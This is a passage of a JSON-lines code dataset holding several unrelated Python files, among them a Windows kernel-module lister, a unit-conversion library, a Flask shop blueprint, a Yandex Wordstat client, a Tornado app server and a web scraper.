RTL_PROCESS_MODULES(Structure):\n _fields_ = [\n ('NumberOfModules', c_ulong),\n ('Modules', RTL_PROCESS_MODULE_INFORMATION * 1)\n ]\n def toarray(self):\n return cast(self.Modules, POINTER(\n RTL_PROCESS_MODULE_INFORMATION * self.NumberOfModules\n )).contents\n\nif __name__ == '__main__':\n buf, ret = create_string_buffer(1024), c_ulong()\n if windll.ntdll.NtQuerySystemInformation(11, buf, len(buf), byref(ret)) != 0:\n buf = create_string_buffer(ret.value)\n nts = windll.ntdll.NtQuerySystemInformation(11, buf, len(buf), 0)\n if nts != 0:\n msg = c_void_p()\n nts = windll.ntdll.RtlNtStatusToDosError(nts)\n windll.kernel32.FormatMessageW(\n 0x00001100, None, nts, 1024, byref(msg), 0, None\n )\n err = c_wchar_p(msg.value).value\n windll.kernel32.LocalFree(mgs)\n print(err.strip() if err else 'Unknown error has been occured.')\n exit(nts)\n rpm = cast(buf, POINTER(RTL_PROCESS_MODULES)).contents\n mod = rpm.toarray()\n \n print('%41s%12s%12s' % ('ModuleName', 'Address', 'Size'))\n print('%41s%12s%12s' % ('-' * 10, '-' * 7, '-' * 4))\n \n for i in range(rpm.NumberOfModules):\n print('%41s%#12x%12s' % (\n mod[i].ImagePath, mod[i].ImageBase, mod[i].ImageSize\n ))\n","sub_path":"system_modules/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"344149551","text":"# -*- coding: utf-8 -*-\n\"\"\"\njittermodel\nRyan Dwyer\n2013-12-13\n\nTO DO: Add tests for the base classes.\n\nShould _units be _default_units? I think so. That way we can transfer those\nproperties between the UnitAssigner and NoUnitAssigner completely intact.\n\n\"\"\"\n\nimport pint\nimport inspect\nimport os\nimport errno\n\nu = pint.UnitRegistry()\n\n# Universal Constants\nE_0 = 1*u.epsilon_0\nk_B = 1*u.boltzmann_constant\nq = 1*u.elementary_charge\n\n\ndef get_defaults(func):\n \"\"\"Return a dictionary containing argument names and defaults for a\n function. Dictionary contains None if an argument has no default value.\"\"\"\n argspec = inspect.getargspec(func)\n names = argspec.args\n if argspec.defaults is not None:\n vals = argspec.defaults\n else:\n vals = () # Empty tuple, so it has length zero.\n\n # Handles missing default arguments by inserting None\n n_missing_default = len(names) - len(vals)\n vals_with_nones = [None for i in xrange(n_missing_default)]\n vals_with_nones.extend(vals)\n\n return dict(zip(names, vals_with_nones))\n\n\ndef get_default_units(func):\n \"\"\"Return a dictionary of the units of a function\n from the default values.\"\"\"\n default_dict = get_defaults(func)\n return {name: val.units for name, val in default_dict.viewitems()\n if isinstance(val, u.Quantity)}\n\n\ndef make_units(dim_dict, base_dict):\n \"\"\"Takes a dimension dictionary in the form returned by the pint\n method `dimensionality`, along with a set of base_units, and creates\n appropriate unit.\"\"\"\n units = u.dimensionless\n for dimension, power in dim_dict.items():\n units *= base_dict[dimension] ** power\n return units\n\n\ndef q2unitless(quant, base_dict):\n \"\"\"Convert a pint quanitity to the unitless variables implied by\n base_dict. Usage:\n\n >>> speed = 10 * u.m/u.s\n >>> units = {'[length]': u.mm, '[time]': u.us}\n >>> q2unitless(speed, units)\n 0.01\n\n \"\"\"\n units = make_units(quant.dimensionality, base_dict)\n return quant.to(units).magnitude\n\n\nclass Assigner(object):\n \"\"\"This class provides an update method, that allows Updater class\n properties to be updated using the syntax,\n\n >>> u1 = Assigner()\n >>> u1.assign('f_c', 50)\n >>> print(u1.f_c)\n 50\n\n \"\"\"\n\n def assign(self, attr, val):\n \"\"\"This assign method allows an attribute 'attr' (given as a string)\n to be assigned to the value 'val'.\"\"\"\n setattr(self, attr, val)\n\n def lookup(self, attr):\n \"\"\"Lookup an attribute in the class with a string.\"\"\"\n return getattr(self, attr)\n\n @property\n def _all_attributes(self):\n \"\"\"Return a tuple of all the non-magic, non-hidden attributes\n of the class.\n\n See http://goo.gl/4juRRI for more information.\"\"\"\n all_attrs = set([attr for attr in dir(self) if not attr.startswith('_')])\n\n # This prevents an infinite recursion when we run inspect.isroutine\n all_attrs.discard('_all_attributes')\n\n filtered = {attr for attr in all_attrs if not\n inspect.isroutine(getattr(self, attr))}\n\n to_discard = set()\n for attr in filtered:\n try:\n value = getattr(self, attr)\n setattr(self, attr, value)\n except AttributeError:\n to_discard.add(attr)\n\n return filtered.difference(to_discard)\n\n def __eq__(self, other):\n \"\"\"Define two Assigners to be equal if their internal\n dictionaries are the same. A relatively sane check for equality.\"\"\"\n return self.__dict__ == other.__dict__\n\n\nclass UnitAssigner(Assigner):\n \"\"\"An Assigner that uses units for numerical inputs.\n\n The unit behavior is specified by a dictionary self._default_units\n containing the name of the variable as the key,\n and default unit as the value.\"\"\"\n\n def assign(self, attr, val):\n setattr(self, attr, val)\n self._check_dimensionality_units()\n\n def _get_default_units(self):\n \"\"\"Get the units of the arguments to initialize the object, inferring\n them from the class's __init__ method.\"\"\"\n _units = get_default_units(self.__init__)\n if _units == {}:\n raise AttributeError(\"No default values with units.\")\n else:\n self._default_units = _units\n\n def _check_number_inputs_positive(self):\n \"\"\"Return a ValueError if the number inputs are not positive.\"\"\"\n greater_than_zero = self._default_units.viewkeys()\n\n for attr in greater_than_zero:\n if self.lookup(attr).magnitude <= 0:\n raise ValueError(\"The attribute '{attr}'\\\nmust be positive.\".format(attr=attr))\n\n def _check_dimensionality_units(self):\n \"\"\"Return a DimensionalityError if unitted attributes\n (set in self._default_units have the wrong dimensionality.\"\"\"\n items = self._default_units.viewitems()\n for attr, unit in items:\n quant = self.lookup(attr)\n if type(quant) != u.Quantity:\n raise pint.DimensionalityError(\"No unit\", unit)\n quant.to(unit)\n\n def to_unitless(self):\n \"\"\"I want this to programatically generate a new, unitless,\n version of the current class. I'll need to reassign all values,\n and also use unitless_units to convert all the numbers.\n\n See http://www.webcitation.org/6NUjbigHH.\"\"\"\n try:\n self._unitless\n except AttributeError:\n self._unitless = self.UnitlessClass()\n\n # Take all unitted quanities, and make them unitless before reassigning\n # them.\n for attr in self._all_attributes:\n val = self.lookup(attr)\n if isinstance(val, u.Quantity):\n unitless_val = q2unitless(val, self._unitless_units)\n self._unitless.assign(attr, unitless_val)\n else:\n # No units. Just assign the attr to its value with no changes.\n self._unitless.assign(attr, val)\n\n\n # We want the unitless version of the object to retain the default unit,\n # unitless unit variables.\n self._unitless._default_units = self._default_units\n self._unitless._unitless_units = self._unitless_units\n\n return self._unitless\n\n\nclass NoUnitAssigner(object):\n \"\"\"A class with blank, dummy, _get_default_units and\n _check_number_inputs_positive. Meant to be used as a mix-in class, with\n some descendent of UnitAssigner.\"\"\"\n\n def _get_default_units(self):\n pass\n\n def _check_dimensionality_units(self):\n pass\n\n def to_unitless(self):\n raise AttributeError\n\n\ndef silentremove(filename):\n \"\"\"If a file exists, delete it. Otherwise, return nothing.\n See http://stackoverflow.com/q/10840533/2823213\"\"\"\n try:\n os.remove(filename)\n except OSError as e: # this would be \"except OSError, e:\" before Python 2.6\n if e.errno != errno.ENOENT: # errno.ENOENT = no such file or directory\n raise # re-raise exception if a different error occured\n\n\nfrom ._version import get_versions\n__version__ = get_versions()['version']\ndel get_versions\n","sub_path":"jittermodel/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"107567134","text":"from flask import Blueprint, render_template, request, session, abort\nimport uuid\n\n\nproducts = [{\n 'id':'1',\n 'name': 'Milk',\n 'description': 'Something white',\n 'img_name': '...',\n 'price': '2$'\n},{\n 'id': '2',\n 'name': 'Cola',\n 'description': 'Something black',\n 'img_name': '...',\n 'price': '1$'\n}]\n\n\nblueprint_product = Blueprint('products', __name__, template_folder='templates', static_folder='static')\n\n\n@blueprint_product.route('/')\ndef all_products():\n price = request.args.get('price')\n res = []\n if price:\n for product in products:\n if product['price'] == price:\n res.append(product)\n else:\n res = products\n\n for product in res:\n if session.get('product' + product['id']):\n product['used'] = \"clicked\"\n\n return render_template('all_products.html', products=res)\n\n\n@blueprint_product.route('/')\ndef get_product_id(id):\n for product in products:\n if product['id'] == id:\n session['product' + id] = True\n return render_template('product.html', product=product)\n abort(404)\n\n\n@blueprint_product.route('/add', methods=['GET', 'POST'])\ndef add_product():\n new = {}\n if request.method == 'POST':\n name = request.form.get('Name')\n description = request.form['Description']\n price = request.form['Price']\n image = request.files['Image']\n image.save('products/static/' + name + '.png')\n new['id'] = uuid.uuid4().hex\n new['name'] = name\n new['description'] = description\n new['img_name'] = name\n new['price'] = price\n products.append(new)\n\n return render_template('add_product.html')\n\n","sub_path":"advanced_flask/products/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"157381309","text":"'''\nGiven an integer, count number of 1s in binary representation of an integer.\n\ninput: 6 // 110\n\noutput: 2\n\n\ninput: 13 // 1101\n\noutput: 3\n\n'''\n\ndef solution(number):\n remainder = number\n count = 0\n \n while remainder > 1:\n if remainder % 2 == 1:\n count += 1\n remainder = remainder // 2\n if remainder == 1:\n count +=1\n \n return count\n\n\n#Brian Kernighan's algorithm \ndef solution2(number):\n count = 0\n while number:\n number = number & number-1\n count += 1\n return count\n\n\nif __name__ == '__main__':\n print (solution(6))\n print (solution(13))\n\n print (solution2(6))\n print (solution2(13))","sub_path":"algorithim/src/one_in_binary_number.py","file_name":"one_in_binary_number.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"346442586","text":"# -*- coding: utf8 -*-\nimport json\nimport time\nfrom urllib.request import urlopen\nimport os\n\n\n# Получаем токен яндекса для работы с запросами\ntry:\n import tokens\n token = tokens.yandex_direct_token\nexcept ImportError:\n token = os.environ['yandex_token']\nprint(token)\n\n# Данные для изменнения. Города и фразы.\n# – Если фраз будет > 10, то скрипт будет делать их в два этапа,\n# так как яндекс ограничивает количество фраз.\n# – Города указываются в виде [\"название\", код GeoID из яндекса].\n# По названию города будет формироваться файл с данными по его запросам.\n#############################################################################\nCITIES = ['Москва', 'санкт-петербург', 'Ярославль']\nPHRASES = ['Портрет района']\n#############################################################################\n\nurl = 'https://api-sandbox.direct.yandex.ru/live/v4/json/'\n\ndata_direct = \"data_direct\"\ncities_id = {'архангельск': 20, 'назрань': 1092, 'астрахань': 37, 'нальчик': 30,\n'барнаул': 197, 'нижний новгород': 47, 'белгород': 4, 'новосибирск': 65,\n'благовещенск': 77, 'омск': 66, 'брянск': 191, 'орел': 10, 'великий новгород': 24,\n'оренбург': 48, 'владивосток': 75, 'пенза': 49, 'владикавказ': 33, 'пермь': 50,\n'владимир': 192, 'псков': 25, 'волгоград': 38, 'ростов-на-дону': 39, 'вологда': 21,\n'рязань': 11, 'воронеж': 193, 'самара': 51, 'грозный': 1106, 'санкт-петербург': 2,\n'екатеринбург': 54, 'саранск': 42, 'иваново': 5, 'смоленск': 12, 'иркутск': 63, 'сочи': 239,\n'йошкар-ола': 41, 'ставрополь': 36, 'казань': 43, 'сургут': 973, 'калининград': 22,\n'тамбов': 13, 'кемерово': 64, 'тверь': 14, 'кострома': 7, 'томск': 67, 'краснодар': 35,\n'тула': 15, 'красноярск': 62, 'ульяновск': 195, 'курган': 53, 'уфа': 172, 'курск': 8,\n'хабаровск': 76, 'липецк': 9, 'чебоксары': 45, 'махачкала': 28, 'челябинск': 56,\n'москва+область': 1, 'черкесск': 1104, 'москва': 213, 'ярославль': 16, 'мурманск': 23,\n'россия': 0}\n\n# Функция для формирования отчета\ndef makeRep (phrases,geo_id):\n for phrase in phrases:\n phrase = '\"' + phrase + '\"'\n\n data = {\n 'method': 'CreateNewWordstatReport',\n 'token': token,\n 'param': {\n # не более 10 фраз через запятую\n 'Phrases': phrases,\n # нужный регион, если не указали - все регионы\n 'GeoID': geo_id\n } }\n jdata = json.dumps(data, ensure_ascii=False)\n response = urlopen(url,jdata.encode())\n answer=json.loads(response.read().decode('utf-8'))\n print(answer)\n query_id = answer.get('data')\n return query_id\n\n# Функция проверки готовности отчета\ndef checkRep ():\n data = {\n 'method': 'GetWordstatReportList',\n 'token': token\n }\n jdata = json.dumps(data, ensure_ascii=False)\n response = urlopen(url,jdata.encode())\n responsedata = json.loads(response.read().decode('utf-8', 'ignore'))\n\n return responsedata['data'][-1]['StatusReport']\n\n# Чтение отчета\ndef readRep (query_id, filename):\n # Ожидание готовности отчёта\n while checkRep() != 'Done':\n print ('...')\n time.sleep(2)\n\n data = {\n 'method': 'GetWordstatReport',\n 'token': token,\n 'param': query_id\n }\n\n jdata = json.dumps(data, ensure_ascii=False)\n response = urlopen(url,jdata.encode())\n responsedata = json.loads(response.read().decode('utf8'))\n\n # цикл для записи полученных фраз в файл, так как в консоли все фразы могут не поместиться\n i=0\n\n # with open( data_direct +\"/\"+ filename + '.txt', 'w') as f:\n # f.write('Phrase;Shows' + '\\n')\n city_query = []\n\n for x in responsedata['data']:\n print(\"!!!\" + str(responsedata['data'][i]['SearchedWith']))\n #print(str(responsedata['data'][i]['SearchedWith'][1]))\n datt = responsedata['data'][i]['SearchedWith']\n if len(datt) > 1:\n print(str(datt[1]))\n city_query.append(datt[1])\n else:\n print(str(datt[0]))\n city_query.append(datt[0])\n # for ph in responsedata['data'][i]['SearchedWith']:\n # print(ph)\n # result.append(ph)\n # wordstat_item = ph['Phrase'] + \";\" + str(ph['Shows'])\n # # print(wordstat_item)\n # f.write(wordstat_item+'\\n')\n i=i+1\n res_dict = { 'city':filename, 'SearchedWith':city_query}\n return res_dict\n\n# Удаление прочитанных отчетов\ndef delRep (query_id):\n data = {\n 'method': 'DeleteWordstatReport',\n 'token': token,\n 'param': query_id\n }\n\n jdata = json.dumps(data, ensure_ascii=False)\n response = urlopen(url,jdata.encode())\n responsedata = json.loads(response.read().decode('utf8'))\n\n# Запрос остатка баллов\ndef api ():\n data = {\n 'method': 'GetClientsUnits',\n 'token': token,\n 'param': ['r.cudriavczev']\n }\n jdata = json.dumps(data, ensure_ascii=False)\n response = urlopen(url,jdata.encode())\n\n responsedata = json.loads(response.read().decode('utf8'))\n return responsedata['data'][0]['UnitsRest']\n\ndef run(filename,phrases,geo_id):\n with open(\"log.txt\", \"a\") as f:\n f.write(\"\\n\" + str([filename,phrases,geo_id]))\n # first_score = api()\n # print(\"Осталось баллов: \" + str(first_score))\n\n query_id = makeRep(phrases=phrases,geo_id=geo_id)\n print (\"ID запроса: \" + str(query_id))\n data = readRep (query_id, filename)\n delRep (query_id)\n\n # last_score = api()\n # print(\"Осталось баллов: \" + str(last_score))\n # print(\"Потрачено: \" + str(first_score-last_score))\n print ('-------------')\n\n return data\n\ndef get_city_number(city):\n try:\n return cities_id[city.lower()]\n except:\n return -1\n\ndef super_run(phrases, cities):\n result = []\n i = 0\n while i < len(phrases):\n for city in cities:\n city_number = get_city_number(city)\n if city_number != -1:\n res = run(filename=city, phrases=phrases[i:i+10], geo_id=[city_number])\n with open(\"log.txt\", \"a\") as f:\n f.write(\"\\n\" + str(res))\n result.append(res)\n i += 10\n return result\n\n print(\"all ok... END\")\n\n#print(super_run(phrases=PHRASES, cities=CITIES))\n","sub_path":"yandex_data.py","file_name":"yandex_data.py","file_ext":"py","file_size_in_byte":7253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"458284044","text":"# Name: Alexis Raymond\n# Date: Mar 29, 2020\n# Exercise: Given an unordered list of flights taken by someone, each represented as (origin, destination) pairs, and a starting airport, compute the person's itinerary.\n\n##### Method #####\ndef itinerary(flights, starter): # return someone's itinerary given his flights and starting airport\n\titinerary = [starter] # create the list that will contain the itinerary\n\n\twhile len(flights) > 0: # as long as not all flights have been used\n\t\tfor flight in flights: # iterate through the remaining flights\n\t\t\tif(flight[0] == itinerary[len(itinerary) - 1]): # if the iterated flight starts at the last airport in the itinerary\n\t\t\t\titinerary.append(flight[1]) # add the flight to the itinerary\n\t\t\t\tflights.remove(flight) # remove the flight from the list of flights\n\n\treturn itinerary # return the itinerary\n\n\n##### Testing #####\nprint(\"Test #1: [(SFO, HKO), (YYZ, SFO), (YUL, YYZ), (HKO, ORD)], YUL\") # display test label\nprint(itinerary([('SFO', 'HKO'), ('YYZ', 'SFO'), ('YUL', 'YYZ'), ('HKO', 'ORD')], 'YUL')) # display test result\nprint(\"---------------\\n\") # show a line to separate the tests\n\nprint(\"Test #2: [('A', 'B'), ('A', 'C'), ('B', 'C'), ('C', 'A')], A\") # display test label\nprint(itinerary([('A', 'B'), ('A', 'C'), ('B', 'C'), ('C', 'A')], 'A')) # display test result","sub_path":"newsletter/problem_41.py","file_name":"problem_41.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"270453819","text":"import mysql.connector\nfrom pandas.io import sql\nimport mysql.connector\nfrom pandas.io import sql\nimport pandas as pd\nimport numpy as np\nimport datetime\nimport dbConfig as dbConfig\nimport os\nimport mailUtility\nimport pdb\n\ndate=datetime.date.today()-datetime.timedelta(1)\ncnx = mysql.connector.connect(user = dbConfig.DB_USER, password = dbConfig.DB_PWD, host = dbConfig.DB_HOST, database = dbConfig.DB_DATABASE)\n\ndef data(cnx):\n query ='''select a.id order_id, a.seller_id, a.rider_id,\ndate(a.order_time) order_date,a.status,\nconvert_tz(a.order_time,\"UTC\",\"Asia/Kolkata\") as order_time ,\nconvert_tz(a.pickUp_time,\"UTC\",\"Asia/Kolkata\") as pickup_time ,\nconvert_tz(a.delivered_time,\"UTC\",\"Asia/Kolkata\") as delivered_time,c.distance,\ncase when c.distance>4 then ceiling((c.distance -4))*10 else 0 end as Distance_charge\nfrom\ncoreengine_order as a,\ncoreengine_sfxseller as b ,\npayments_orderinvoicedata as c\nwhere c.order_id=a.id and a.seller_id=b.id and year(date(a.order_time))=2016 and\nmonth(date(a.order_time))=4 and a.cluster_id not in (1,19) and a.rider_id!=1 and a.status!=302 and outlet_name like '%umist%'\norder by seller_id , rider_id , order_time\n '''\n data=sql.read_sql(query,cnx)\n return data\ndata=data(cnx)\ndata.reset_index(inplace=True)\n\n\n\n\ndata['time_diff']=0\ndata['club_status']=0\ndata.loc[0,'time_diff']=0\ndata['final_charge']=0\nfor i in xrange(1,data.shape[0]):\n data.loc[i,'time_diff'] =(data.loc[i]['order_time']-data.loc[i-1]['order_time'])/np.timedelta64(1,'m')\n\nfor i in xrange(1,data.shape[0]):\n if ((data.loc[i,'seller_id'] == data.loc[i-1,'seller_id']) and (data.loc[i,'rider_id'] == data.loc[i-1,'rider_id']) and (data.loc[i,'time_diff'] < 15)):\n data.loc[i,'club_status']=1\n else: data.loc[i,'club_status']=0\n\nfor i in xrange(0,data.shape[0]):\n if (data.loc[i,'club_status']==0):\n data.loc[i,'final_charge']=55+data.loc[i,'Distance_charge']\n else :\n data.loc[i,'final_charge']=35+data.loc[i,'Distance_charge']\n\n\n\ndata.to_csv('order_clubbing.csv',index=False)\n\n\n\n\n\n","sub_path":"order_clubbing.py","file_name":"order_clubbing.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"166988023","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\nfrom spider.postgres_provider import PostgresProvider\nfrom spider.settings import DATABASES\n\nclass SpiderPipeline(object):\n def open_spider(self, spider):\n self.postgres_provider = PostgresProvider()\n self.postgres_provider.connect(\n DATABASES['default']['USER'],\n DATABASES['default']['PASSWORD'],\n DATABASES['default']['NAME'],\n DATABASES['default']['HOST'])\n self.connection = self.postgres_provider.connection\n self.meta = self.postgres_provider.meta\n\n def close_spider(self, spider):\n self.connection.close()\n\n def process_item(self, item, spider):\n news = self.meta.tables['nbanewsreader_news']\n clause = news.insert().values(\n uid=item['uid'],\n url=item['url'],\n title=item['title'],\n author=item['author'],\n published_at=item['published_at'],\n content=item['content'])\n self.connection.execute(clause)\n return item\n","sub_path":"nbanewsspider/spider/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"471876408","text":"from .._core.base_components import Monitor\nfrom .._core.exceptions import DependencyError\n\n\nclass PlotFunctionMonitor(Monitor):\n \"\"\"\n A Monitor which uses a user-defined function to draw figures using model\n state.\n \"\"\"\n\n def __init__(self, plot_function, interactive=True):\n \"\"\"\n Initialize a PlotFunctionMonitor.\n\n Args\n ----\n plot_function : func\n A function plot_function(fig, state) that\n draws the given state onto the given (initially clear) figure.\n interactive: bool, optional\n If true, matplotlib's interactive mode will be enabled,\n allowing plot animation while other computation is running.\n \"\"\"\n global plt\n try:\n import matplotlib.pyplot as plt\n except ImportError:\n raise DependencyError(\n 'matplotlib must be installed to use PlotFunctionMonitor')\n if interactive:\n plt.ion()\n self._plot_function = plot_function\n self._fig = plt.figure()\n\n def store(self, state):\n \"\"\"\n Updates the plot using the given state.\n\n Args\n ----\n state : dict\n A model state dictionary.\n \"\"\"\n self._fig.clear()\n self._plot_function(self._fig, state)\n plt.draw_all()\n plt.pause(1e-5) # necessary to draw, pause can be arbitrarily small\n","sub_path":"sympl/_components/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"390016610","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 22 22:32:11 2018\n\n@author: aksha\n\"\"\"\n\nimport threading\nimport math\n\nclass f(threading.Thread):\n def __init__(self,num):\n threading.Thread.__init__(self)\n self.num = num\n\n def run(self):\n global result\n temp = math.factorial(self.num)\n print(str(self.name) + \" calculate \" + str(self.num) + \" factorial : \" + str(temp))\n result += temp\n\nresult = 0\nthreads = []\n\ndef test():\n for i in range(1,6):\n t = f(i)\n threads.append(t)\n for i in range(5):\n threads[i].start()\n for i in range(5):\n threads[i].join()\n\nprint(\"Calling Factorial 1 to 5 :\\n\")\nif __name__ == '__main__':\n test()","sub_path":"bb/thread/q4.py","file_name":"q4.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"454776942","text":"# -*- coding: utf-8 -*-\n\nimport sys\nsys.path.append(\"../../\")\nsys.path.append(\"../terminal_srv_d/\")\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n#import setproctitle\nfrom tornado import ioloop, gen\nfrom tornado.web import Application, url\n\nimport tornado.options\nfrom tornado.options import define, options\nfrom lib.console import Console\nfrom lib.auth_dao import AuthDAO\nfrom lib.user_dao import UserDAO\nfrom lib.pet_dao import PetDAO\nfrom lib.global_dao import GlobalDAO\n#from lib.device_dao import DeivceDAO\nfrom lib.sys_config import SysConfig\nfrom lib import sys_config\nfrom lib.new_device_dao import NewDeviceDAO\n\nfrom lib.gid_rpc import GIDRPC\nfrom lib.msg_rpc import MsgRPC\nfrom lib.terminal_rpc import TerminalRPC\nfrom configs.mongo_config import MongoConfig2\nfrom lib.config import *\nsupport_setptitle = True\ntry:\n import setproctitle\nexcept:\n support_setptitle = False\n\nimport handlers\nproctitle = \"user_srv_d\"\nconf = loadJsonConfig()\nproc_conf = conf[proctitle]\ndebug_mode=conf[\"debug_mode\"]\ndefine(\"debug_mode\", conf[\"debug_mode\"], int,\n \"Enable debug mode, 1 is local debug, 2 is test, 0 is disable\")\ndefine(\"port\", proc_conf[\"port\"], int, \"Listen port, default is 9100\")\ndefine(\"address\", proc_conf[\"address\"], str, \"Bind address, default is 127.0.0.1\")\ndefine(\"console_port\", proc_conf[\"console_port\"], int, \"Console listen port, default is 9110\")\n\n# Parse commandline\ntornado.options.parse_command_line()\n\n# Init pyloader\nmongo_conf = MongoConfig2(conf[\"mongodb\"])\n\n\n# Set process title\nif support_setptitle:\n setproctitle.setproctitle(proctitle)\n\n# Init web application\nwebapp = Application(\n [\n (r\"/user/get_verify_code\", handlers.GetVerifyCode),\n (r\"/user/push_message_cmd\", handlers.PushMessageCmd),\n (r\"/user/login\", handlers.Login),\n (r\"/user/register\", handlers.Register),\n (r\"/user/logout\", handlers.Logout),\n (r\"/user/regen_token\", handlers.RegenToken),\n (r\"/user/set_home_wifi\", handlers.SetHomeWifi),\n (r\"/user/set_home_location\", handlers.SetHomeLocation),\n (r\"/user/get_base_infomation\", handlers.GetBaseInfo),\n (r\"/user/set_outdoor_on_off\", handlers.OutdoorOnOff),\n (r\"/user/set_outdoor_wifi\", handlers.SetOutdoorWifi),\n (r\"/user/suggest\",handlers.Suggest),\n (r\"/user/agree_policy\", handlers.AgreePolicy),\n (r\"/user/get_pet_list\", handlers.GetPetList),\n (r\"/user/choose_pet\", handlers.ChoosePet),\n\n (r\"/pet/location\", handlers.PetLocation),\n (r\"/pet/location_test\", handlers.PetLocation2),\n #(r\"/pet/walk\", handlers.PetWalk),\n (r\"/pet/find\", handlers.PetFind),\n (r\"/pet/get_pet_type_info\", handlers.PetTypeInfo),\n (r\"/pet/get_pet_info\", handlers.GetPetInfo),\n (r\"/pet/get_pet_status\", handlers.GetPetStatusInfo),\n (r\"/pet/add_pet_info\", handlers.AddPetInfo),\n (r\"/pet/update_pet_info\", handlers.UpdatePetInfo),\n (r\"/pet/healthy/get_activity_info\", handlers.GetActivityInfo),\n (r\"/pet/healthy/get_sleep_info\", handlers.GetSleepInfo),\n (r\"/pet/healthy/summary\", handlers.Summary),\n (r\"/pet/healthy/set_sport_info\", handlers.SetTargetStep),\n (r\"/pet/activity\", handlers.PetActivity),\n\n (r\"/device/add_device_info\", handlers.AddDeviceInfo),\n (r\"/device/get_info\", handlers.GetDeviceInfo),\n (r\"/device/remove_device_info\", handlers.RemoveDeviceInfo),\n (r\"/device/set_sim_info\", handlers.SetSimInfo),\n #(r\"/device/switch_light\", handlers.SwitchLight),\n# (r\"/device/get_light_status\", handlers.GetDeviceSwitchLightStatus),\n (r\"/device/send_get_wifi_list_cmd\", handlers.SendGetWifiListCmd),\n (r\"/device/get_wifi_list\", handlers.GetWifiList),\n #(r\"/device/reboot_device_cmd\", handlers.RebootDeviceCmd),\n (r\"/device/get_device_status\",handlers.GetPetStatusInfo),\n\n (r\"/app/get_config\",handlers.AppConfig),\n ],\n autoreload=True,\n debug=True,\n user_dao=UserDAO.new(mongo_meta=mongo_conf.user_mongo_meta),\n global_dao=GlobalDAO.new(mongo_meta=mongo_conf.global_mongo_meta),\n auth_dao=AuthDAO.new(mongo_meta=mongo_conf.auth_mongo_meta),\n pet_dao=PetDAO.new(mongo_meta=mongo_conf.pet_mongo_meta),\n device_dao=NewDeviceDAO.new(mongo_meta=mongo_conf.pet_mongo_meta),\n appconfig=conf, )\n\n\nclass _UserSrvConsole(Console):\n def handle_cmd(self, stream, address, cmd):\n if len(cmd) == 1 and cmd[0] == \"quit\":\n self.send_response(stream, \"Byte!\")\n return False\n elif len(cmd) == 0:\n pass\n elif len(cmd) == 1 and cmd[0] == \"reload-config\":\n newconf = loadJsonConfig()\n webapp.settings[\"appconfig\"] = newconf\n webapp.settings[\"gid_rpc\"] = GIDRPC(newconf.gid_rpc_url)\n self.send_response(stream, \"done\")\n elif len(cmd) == 1 and cmd[0] == \"reload-sysconfig\":\n webapp.settings[\"sysconfig\"].reload()\n self.send_response(stream, \"done\")\n else:\n self.send_response(stream, \"Invalid command!\")\n return True\n\n# Init console\nconsole = _UserSrvConsole()\nconsole.bind(options.console_port, \"127.0.0.1\")\nconsole.start()\n\n\n# Init async\n@gen.coroutine\ndef _async_init():\n SysConfig.new(mongo_meta=mongo_conf.global_mongo_meta,\n debug_mode=options.debug_mode)\n yield SysConfig.current().open()\n webapp.settings[\"gid_rpc\"] = GIDRPC(SysConfig.current().get(\n sys_config.SC_GID_RPC_URL))\n webapp.settings[\"msg_rpc\"] = MsgRPC(SysConfig.current().get(\n sys_config.SC_MSG_RPC_URL))\n webapp.settings[\"terminal_rpc\"] = TerminalRPC(SysConfig.current().get(\n sys_config.SC_TERMINAL_RPC_URL))\n\n\nioloop.IOLoop.current().run_sync(_async_init)\n\n# Run web app loop\nwebapp.listen(options.port, options.address, xheaders=True)\nioloop.IOLoop.current().start()\n","sub_path":"trunk/src/appserver/apps/user_srv_d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"237368020","text":"from django.shortcuts import render\nfrom .models import Series\nfrom lxml import etree\nimport requests\n\n\n# 京东搜索关键字(数组) 返回url\ndef jd_seach(keywords):\n keyword = \"\"\n for i in keywords:\n if i == '#':\n keyword += '%20'\n else:\n keyword += i\n url = \"https://search.jd.com/Search?keyword=\" + keyword + \"&enc=utf-8&\"\n print(url)\n return url\n\n\ndef req_url(url):\n try:\n r = requests.get(url, timeout=10)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n return r.text\n except:\n return \"\"\n\n\ndef xpath_select(html, xpath_list, img_xpath_list):\n selector = etree.HTML(html)\n obj_list = []\n for i in range(len(xpath_list)):\n links = selector.xpath(xpath_list[i])\n obj = {}\n for link in links:\n obj['href'] = link.get('href')\n obj['title'] = link.get('title')\n\n # print(dir(link))\n links = selector.xpath(img_xpath_list[i])\n for link in links:\n obj['img'] = link.get('src')\n obj_list.append(obj)\n print(obj_list)\n return obj_list\n\n\ndef spider(request, id):\n keywords = 